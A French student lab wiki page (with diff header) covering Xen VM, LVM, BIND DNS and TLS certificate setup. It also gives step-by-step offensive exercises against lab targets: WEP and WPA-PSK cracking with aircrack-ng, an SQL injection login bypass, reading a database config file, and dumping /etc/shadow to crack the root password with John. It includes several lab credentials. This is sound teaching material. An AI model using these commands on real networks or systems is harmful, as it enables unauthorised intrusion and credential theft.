TP sysres IMA5sc 2020/2021 G10 : Différence entre versions
(→Sécurisation de site web par certificat) |
(→Sécurisation de site web par certificat) |
||
Ligne 287 : | Ligne 287 : | ||
openssl req -nodes -newkey rsa:2048 -sha1 -keyout pleurote.site.key -out pleurote.csr | openssl req -nodes -newkey rsa:2048 -sha1 -keyout pleurote.site.key -out pleurote.csr | ||
pleurote.csr : Ce fichier nous sert à faire une demande de certificat auprès d'une autorité de certification. Il contient quelques informations personnelles ainsi que la clef publique. | pleurote.csr : Ce fichier nous sert à faire une demande de certificat auprès d'une autorité de certification. Il contient quelques informations personnelles ainsi que la clef publique. | ||
− | + | <code>pleurote.site.key</code> : Celui-ci contient la clef privée (qu'on tâchera de ne jamais perdre ou distribuer) qui est complémentaire à celle présente dans le csr. | |
On peut ensuite se rendre sur Gandi afin d'acheter le certificat. Le csr sera demandé pendant la procédure puis il faudra choisir une des trois méthodes proposées pour la vérification. Nous avons choisi celle par email pour le challenge de créer un serveur de mail sur notre machine. | On peut ensuite se rendre sur Gandi afin d'acheter le certificat. Le csr sera demandé pendant la procédure puis il faudra choisir une des trois méthodes proposées pour la vérification. Nous avons choisi celle par email pour le challenge de créer un serveur de mail sur notre machine. | ||
Version du 23 novembre 2020 à 18:34
TP PRA : MALTI Hind & AHOUASSOU Loris
Séance 1
Installation des systèmes d'exploitation
Pour installer la machine virtuelle, il faut se connecter en SSH sur le serveur 'capbreton'et se mettre en root
ssh capbreton.plil.info
Puis lancer la commande marquée ci dessous.
xen-create-image --hostname=pleurote --dist=buster --ip=100.64.0.20 --netmask=255.255.255.240 --dir=/usr/local/xen/ --password=XXXXXXX --gateway=100.64.0.5 --force
Nous avions acheté un nom de domaine sur Gandi, le thème étant les champignons, nous avons choisi "Pleurote".
Toutefois, il convient de préciser que si nous lançons cette commande en étant simplement en 'su',
cela ne fonctionnera pas et renverra une erreur de binaire "mkswap absent".
Pour corriger cela, il convient au préalable de se mettre en 'su -' plutôt qu'un simple 'su' qui chargerait uniquement les variables d'environnement de l'utilisateur qui l'a invoqué,
au lieu de celles du root véritable. En effet, le binaire 'mkswap' est présent dans le dossier /sbin qui n'est présent que dans les variables d'environnement de 'su -', d'où l'erreur.
Nous avons donc nos informations machine, que l'on retrouve dans le fichier /etc/xen/pleurote.cfg:
- Nom de domaine: pleurote
- @IP : 100.64.0.20
- Netmask: 255.255.255.240
- @MAC : 00:16:3E:64:5D:88
Nous avons modifier ce fichier afin d'apporter le bridge : IMA5sc
Par la suite, nous devions modifier le fichier de configuration de la machine virtuelle pour faire en sorte que les répertoires var et home de la machine virtuelle soient sur des partitions LVM de l’hôte. Cependant, avant de réaliser cette action, il nous fallait disposer de nos partitions logiques alloués. L'un des binômes de la promo s'est chargé de créer d'abord un volume de groupe 'storage' avec la commande suivante
vgcreate storage /dev/sde /dev/sdf
Dans ce volume de groupe, il nous a assigné chacun (binôme) deux volumes logiques de 10Giga
lvcreate -L10G LorisHind1 storage lvcreate -L10G LorisHind2 storage
À partir de là, nous pouvions modifier le fichier de configuration de notre machine virtuelle ( /etc/xen/pleurote.cfg ). Pour se faire, nous avons rajouté deux lignes au niveau de la section 'disks'.
'phy:/.../LorisHind1,xvdav3,w' 'phy:/.../LorisHind2,xvdav4,w'
La ligne avec '...xvdav3...' nous servira pour le répertoire 'var' et '...xvdav4...' pour le répertoire 'home'.
- Pour mettre le répertoire /var sur notre première partition, il faut réaliser les étapes suivantes :
D'abord accéder à la console de notre VM.
xl create -c etc/xen/pleurote.cfg xl console pleurote
Un fois dans notre VM, on va commencer par formater notre partition censée accueillir le répertoire /var
mkfs -t ext4 /dev/xvdav3
Ensuite on monte cette partition sur le répertoire '/mnt' afin de récupérer ce qui se trouve sur le répertoire /var :
mount /dev/xvdav3 /mnt mv /var/* /mnt
On rajoute la ligne suivante dans le fichier /etc/fstab
/dev/xvdav3 /var ext4 defaults 0 2
On démonte '/mnt'
umount /mnt
Avant de remonter suivant le /etc/fstab
mount -a
- Nous faisons de même pour le répertoire /home sur notre seconde partition
Pour l'installation des paquetages SSH, apache2 et bind, cela nécessitait un accès internet dépendant de la configuration des VLANs (qui n'était pas encore complètement opérationnelle)
Séance 2
Cassage de clef WEP d’un point d’accès WiFi
Pour commencer, nous installons d'abord le packet "aircrack-ng" Ensuite afin de lister ce que contient le réseau Wifi,
airmon-ng start wlp2s0mon airomon-ng --encrypt wep wlp2s0mon
Nous avons besoin de cette dernière commande pour avoir les informations nécessaire à notre wifi à craquer On note le bssId 04:DA:D2:9C:5050:59 et le channel 3
Nous choisissons de casser la clé WEP de la cracotte10 sur le channel 3, on enregistre les paquets dans webPack.
airodump-ng -c 3 –-bssid 04:DA:D2:9C:5050:59 -w paquets wlp2s0mon
La commande suivante permet de se faire passer pour un client afin de générer de l'activité sur le réseau.
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:5050:59 wlp2s0mon
Un fichier paquets_01.cap est créé. On utilise les paquets enregistrés pour réaliser le cassage:
aircrack-ng -z paquets_01.cap
On parvient à avoir la clé au bout de 50.000 de paquets, la dernière commande teste chaque 5000 paquets pour essayer de trouver le mot de passe. Voici le résultat trouvé :
A la toute fin il est nécessaire de faire un : airmon-ng stop wlp2s0mon
Ajout et configuration d'un serveur DNS sur la VM
Pour commencer nous avons installé les packages bind9 et apache2 puis nous avons fait l'acquisition du nom de domaine pleurote.site sur le site gandi.net qui nous servira tout au long du TP.
Dans le dossier de configuration de bind9 à l'emplacement /etc/bind, on créé le fichier de zone db.pleurote.site et on ajoute :
BIND data file for local loopback interface ; $TTL 604800 @ IN SOA ns1.pleurote.site. postmaster.pleurote.site. ( 3 ; Serial 604800 ; Refresh 86400 ; Retry 2419200 ; Expire 604800 ) ; Negative Cache TTL ; @ IN NS ns1.pleurote.site. @ IN NS ns6.gandi.net. ns1 IN A 193.48.57.179
Dans le fichier named.conf.local :
zone "pleurote.site" IN { type master; file "/etc/bind/db.pleurote.site"; allow-transfer {217.70.177.40;}; };
Dans le fichier named.conf.options :
options { directory "/var/cache/bind"; dnssec-enable yes; dnssec-validation auto; listen-on-v6 { any; }; allow-recursion { localhost; }; };
Ensuite on se rend sur le site gandi.net puis dans "Domains" :
Dans l'onglet "Glue Record", on ajoute :
namespace : ns1.pleurote.site l'adresse IP de notre VM : 193.48.57.179
Dans l'onglet "Serveur de noms" on ajoute le DNS principal et secondaire :
DNS1 : ns1.pleurote.site DNS2 : ns6.gandi.net
Séance 3
Attaque de type "homme au milieu" par usurpation ARP
Intrusion sur un serveur d’application Web
Le but de cette partie, est de réussir à s'introduire sur le serveur honey.plil.info en exploitant d'éventuelles failles de sécurité. L'idée première que nous avons eu a été de faire des injections SQL dans le formulaire présenté.
Nous avons donc tester l'injection suivante aussi bien dans le champ d'identifiant
'OR 1=1#
Le caractère # à la fin représente un commentaire et permet donc d'ignorer tout ce qui suivra après dans la requête. Ainsi, cela correspond à faire
SELECT * FROM admins WHERE login= OR 1=1
Même s'il n'y a pas de Login clairement entré, l'expression 1=1 étant toujours vraie, la requête nous a renvoyée une table contenant des identifiants et des mots de passe.
Nous avons donc pris l'identifiant "admin" son mot de passe "jesuislechef" que nous avons ensuite entré naturellement dans le formulaire du site honey.plil.info. Cela a eu pour effet de nous donner l'accès à l'application Web. Nous avons un peu exploré l'application. Nous voulions pouvoir lire le fichier de configuration de base de données de phpmyadmin. Nous sommes entrés dans la Gestion des Manuels et nous avons ajouter un nouveau manuel : nom : nom ; path : /etc/phpmyadmin/config-db. Une fois ajouté, nous somme allé dans Recherche de manuels et nous avons téléchargé le fichier de config précédemment ajouté.
Nous avons alors utilisé le mot de passe de la base de données sur phpmyadmin. Identifiant : root, Password : gencovid19. Suite à quoi on a eu l'accès. Après avoir un peu exploré, on est rentré dans la table users de la base test, ce qui nous a fournit le login rex et le mot de passe plainpassword.
Nous sommes retourné dans un terminal et nous avons lancée une connexion SSH.
ssh rex@honey.plil.info
À ce niveau là, on a aucun fichier directement utile. Néanmoins, en utilisant nos connaissances du système UNIX, on peut avoir se servir de deux fichiers très utiles:
/etc/passwd et /etc/shadow. En effet, le premier c'est celui qui contient généralement des informations sur les utilisateurs qui peuvent se connecter au système (le nom, l'identifiant, répertoire personnel...), mais il ne contient pas les mots de passe de ces utilisateurs. En revanche, le second fichier, lui, contient une version hashée des mots de passe et seuls des utilisateurs très privilégiés peuvent y avoir accès. Dans /etc/shadow on a pu voir à la dernière ligne le mot de passe crypté de root. Pour décrypter cela, nous utilisons John qui est un utilitaire de crackage de mots de passe. Pour fonctionner, John a besoin d'une liste de mots et un mot de passe à cracker. Mais avant, il faut combiner les deux fichiers précédents en utilisant la commande unshadow. Et comme c'est la dernière ligne qui nous intéresse, alors :
unshadow /etc/passwd /etc/shadow | head -> honey_mdp
À partir de là, nous avons un indice dans le sujet : La seule indication est que le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets. Cela nous donne plusieurs informations sur le mot de passe : il est probablement composé que de lettres; il est en minuscules; et il est certainement formé de deux mots identiques de 4 lettres (comme le mot de passe glopglop)
L'idée est de créer un dictionnaire de mots de 8 lettres (qui est en fait formé du même mot de 4 lettres comme glopglop). Au lieu de faire un code C qui nous génère cela, nous avons utilisé l'utilitaire crunch qui nous génère facilement ce dictionnaire. Mais attention, si nous générons directement des mots de 8 lettres, le temps de calcul sera très très long car il devrait créer 26^8 mots ~= 2x10^11 et donc une taille ÉNORME de fichier (~+1TB).
Une approche moins naïve serait de générer d'abord un dictionnaire de mots de 4 lettres, ce qui fait seulement 26^4 = 456976 mots pour une taille de ~2MB.
crunch 4 4 abcdefghijklmnopqrstuvwxyz > liste_mots
On peut dupliquer nos mots pour former des mots doublés de 8 lettres avec la commande 'sed'
sed -i 's/\(.*)/\1\1/' liste_mots
Maintenant, le boulot est fait, il ne reste plus qu'à laisser 'John' décrypter.
john -W:liste_mots honey_mdp
Quand c'est terminé, on affiche le mot de passe :
john --show honey_mdp
Comme indiqué sur la capture suivante, le mot de passe est fortfort
Séance 4
Cassage de mot de passe WPA-PSK par force brute
Nous avons précédemment craqué le clé WEP avec l'utilitaire aircrack-ng. Nous l'utilisons à nouveau pour faire de même avec la clé WPA-PSK. D'abord, on visualise notre interface :
airmon-ng
Ensuite, on active l'interface :
airmon-ng start wlx40a5efd2140c
après cette commande, notre interface a été renommé en wlan0mon, nous travaillerons donc avec ce nom par la suite. On peut lancer l'écoute :
airodump-ng wlan0mon
On va cracker la Kracotte10, on peut donc lire son BSSID 00:14:1B:60:8C:29 et son channel 3
Avec ces informations, on va récupérer l'handshake et le mettre dans un fichier result
airodump-ng --bssid 00:14:1B:60:8C:29 wlan0mon --channel 3 --write result
Cela prend quelques minutes. Ensuite ce qu'il nous faut c'est générer un dictionnaire de mots de 8 chiffres, on peut utiliser l'utilitaire crunch pour cela.
crunch 8 8 0123456789 > dico.txt
Enfin on peut lancé le crackage :
aircrack-ng result-01.cap -w dico.txt
Cela peut durer un certain temps avant que ce soit décrypté.
Serveur SSH
Sécurisation de site web par certificat
Nous commençons par un générer deux fichiers grâce à la commande
openssl req -nodes -newkey rsa:2048 -sha1 -keyout pleurote.site.key -out pleurote.csr
pleurote.csr : Ce fichier nous sert à faire une demande de certificat auprès d'une autorité de certification. Il contient quelques informations personnelles ainsi que la clef publique.
pleurote.site.key
: Celui-ci contient la clef privée (qu'on tâchera de ne jamais perdre ou distribuer) qui est complémentaire à celle présente dans le csr.
On peut ensuite se rendre sur Gandi afin d'acheter le certificat. Le csr sera demandé pendant la procédure puis il faudra choisir une des trois méthodes proposées pour la vérification. Nous avons choisi celle par email pour le challenge de créer un serveur de mail sur notre machine.
Il nous faut maintenant récupérer notre certificat depuis Gandi ainsi que le certificat intermédiaire. On déplace ensuite l'ensemble de ces clefs dans les répertoires appropriés.